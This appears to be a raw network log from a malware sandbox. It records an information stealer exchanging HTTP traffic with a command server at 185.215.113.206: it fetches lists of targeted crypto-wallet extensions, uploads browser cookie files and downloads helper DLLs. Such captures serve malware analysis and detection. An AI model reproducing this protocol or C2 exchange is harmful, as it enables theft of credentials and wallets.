Nov 23, 2024 01:14:01.601567030 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIECFHDBAAECAAKFHDHI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 33 64 61 39 34 33 62 62 39 64 65 61 62 30 30 34 35 66 34 65 36 39 30 39 64 66 64 64 33 62 37 63 61 62 34 33 35 36 34 61 66 64 64 35 30 62 61 64 31 32 63 63 36 32 63 34 30 30 39 62 36 66 32 61 31 30 64 35 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 2d 2d 0d 0a Data Ascii: ------IIECFHDBAAECAAKFHDHIContent-Disposition: form-data; name="token"93da943bb9deab0045f4e6909dfdd3b7cab43564afdd50bad12cc62c4009b6f2a10d56f2------IIECFHDBAAECAAKFHDHIContent-Disposition: form-data; name="message"plugins------IIECFHDBAAECAAKFHDHI--
Nov 23, 2024 01:14:02.049657106 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 23, 2024 01:14:02.049674034 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 23, 2024 01:14:02.049685955 CET	248	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 23, 2024 01:14:02.049850941 CET	1236	IN	Data Raw: 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d 4e 74 62 6d 74 69 5a 32 35 38 4d 58 77 77 66 44 42 38 56 47 56 36 51 6d Data Ascii: YW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZ
Nov 23, 2024 01:14:02.049863100 CET	1236	IN	Data Raw: 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 46 73 62 47 56 30 66 47 46 70 61 6d 4e 69 5a 57 52 76 61 57 70 74 5a 32 Data Ascii: bmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGh
Nov 23, 2024 01:14:02.057843924 CET	1236	IN	Data Raw: 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d 68 6d 5a 57 64 6c 61 32 52 6e 61 57 4a 73 61 33 Data Ascii: Y2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWl
Nov 23, 2024 01:14:02.057954073 CET	916	IN	Data Raw: 62 57 70 74 61 32 4e 68 5a 6d 4e 6f 63 48 42 69 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 4e 31 61 53 42 58 59 57 78 73 5a 58 52 38 62 32 4e 71 5a 48 42 74 62 32 46 73 62 47 31 6e 62 57 70 69 59 6d Data Ascii: bWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWp
Nov 23, 2024 01:14:02.059660912 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEHJDHCBAEHJJJKKFID Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 33 64 61 39 34 33 62 62 39 64 65 61 62 30 30 34 35 66 34 65 36 39 30 39 64 66 64 64 33 62 37 63 61 62 34 33 35 36 34 61 66 64 64 35 30 62 61 64 31 32 63 63 36 32 63 34 30 30 39 62 36 66 32 61 31 30 64 35 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 2d 2d 0d 0a Data Ascii: ------GIEHJDHCBAEHJJJKKFIDContent-Disposition: form-data; name="token"93da943bb9deab0045f4e6909dfdd3b7cab43564afdd50bad12cc62c4009b6f2a10d56f2------GIEHJDHCBAEHJJJKKFIDContent-Disposition: form-data; name="message"fplugins------GIEHJDHCBAEHJJJKKFID--
Nov 23, 2024 01:14:02.508119106 CET	335	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 23, 2024 01:14:02.526622057 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEHIDAKECFIEBGDHJEB Host: 185.215.113.206 Content-Length: 7963 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 01:14:02.526719093 CET	7963	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 33 64 61 39 34 Data Ascii: ------AAEHIDAKECFIEBGDHJEBContent-Disposition: form-data; name="token"93da943bb9deab0045f4e6909dfdd3b7cab43564afdd50bad12cc62c4009b6f2a10d56f2------AAEHIDAKECFIEBGDHJEBContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 23, 2024 01:14:03.617248058 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 01:14:03.880300045 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 01:14:04.326468945 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:04 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 23, 2024 01:14:04.326610088 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49728	185.215.113.206	80	6460	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 01:14:13.647639990 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEBFHCAKFBGDHIDHIDB Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 33 64 61 39 34 33 62 62 39 64 65 61 62 30 30 34 35 66 34 65 36 39 30 39 64 66 64 64 33 62 37 63 61 62 34 33 35 36 34 61 66 64 64 35 30 62 61 64 31 32 63 63 36 32 63 34 30 30 39 62 36 66 32 61 31 30 64 35 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------GIEBFHCAKFBGDHIDHIDBContent-Disposition: form-data; name="token"93da943bb9deab0045f4e6909dfdd3b7cab43564afdd50bad12cc62c4009b6f2a10d56f2------GIEBFHCAKFBGDHIDHIDBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------GIEBFHCAKFBGDHIDHIDBContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------GIEBFHCAKFBGDHIDHIDB--
Nov 23, 2024 01:14:15.552541971 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 01:14:15.686424971 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBAEBGHDAECBGDGCAKE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 33 64 61 39 34 33 62 62 39 64 65 61 62 30 30 34 35 66 34 65 36 39 30 39 64 66 64 64 33 62 37 63 61 62 34 33 35 36 34 61 66 64 64 35 30 62 61 64 31 32 63 63 36 32 63 34 30 30 39 62 36 66 32 61 31 30 64 35 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------ECBAEBGHDAECBGDGCAKEContent-Disposition: form-data; name="token"93da943bb9deab0045f4e6909dfdd3b7cab43564afdd50bad12cc62c4009b6f2a10d56f2------ECBAEBGHDAECBGDGCAKEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECBAEBGHDAECBGDGCAKEContent-Disposition: form-data; name="file"------ECBAEBGHDAECBGDGCAKE--
Nov 23, 2024 01:14:16.643754005 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49760	185.215.113.206	80	6460	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 01:14:22.128767014 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKECBFBAEBKJJJJKFCGC Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 01:14:22.128793955 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 43 42 46 42 41 45 42 4b 4a 4a 4a 4a 4b 46 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 33 64 61 39 34 Data Ascii: ------AKECBFBAEBKJJJJKFCGCContent-Disposition: form-data; name="token"93da943bb9deab0045f4e6909dfdd3b7cab43564afdd50bad12cc62c4009b6f2a10d56f2------AKECBFBAEBKJJJJKFCGCContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 23, 2024 01:14:24.027400017 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 01:14:24.431869030 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKKKJJJKJKFHJJJJECB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 33 64 61 39 34 33 62 62 39 64 65 61 62 30 30 34 35 66 34 65 36 39 30 39 64 66 64 64 33 62 37 63 61 62 34 33 35 36 34 61 66 64 64 35 30 62 61 64 31 32 63 63 36 32 63 34 30 30 39 62 36 66 32 61 31 30 64 35 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="token"93da943bb9deab0045f4e6909dfdd3b7cab43564afdd50bad12cc62c4009b6f2a10d56f2------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="file"------KJKKKJJJKJKFHJJJJECB--
Nov 23, 2024 01:14:25.379180908 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 01:14:25.837517977 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 01:14:26.288453102 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:26 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
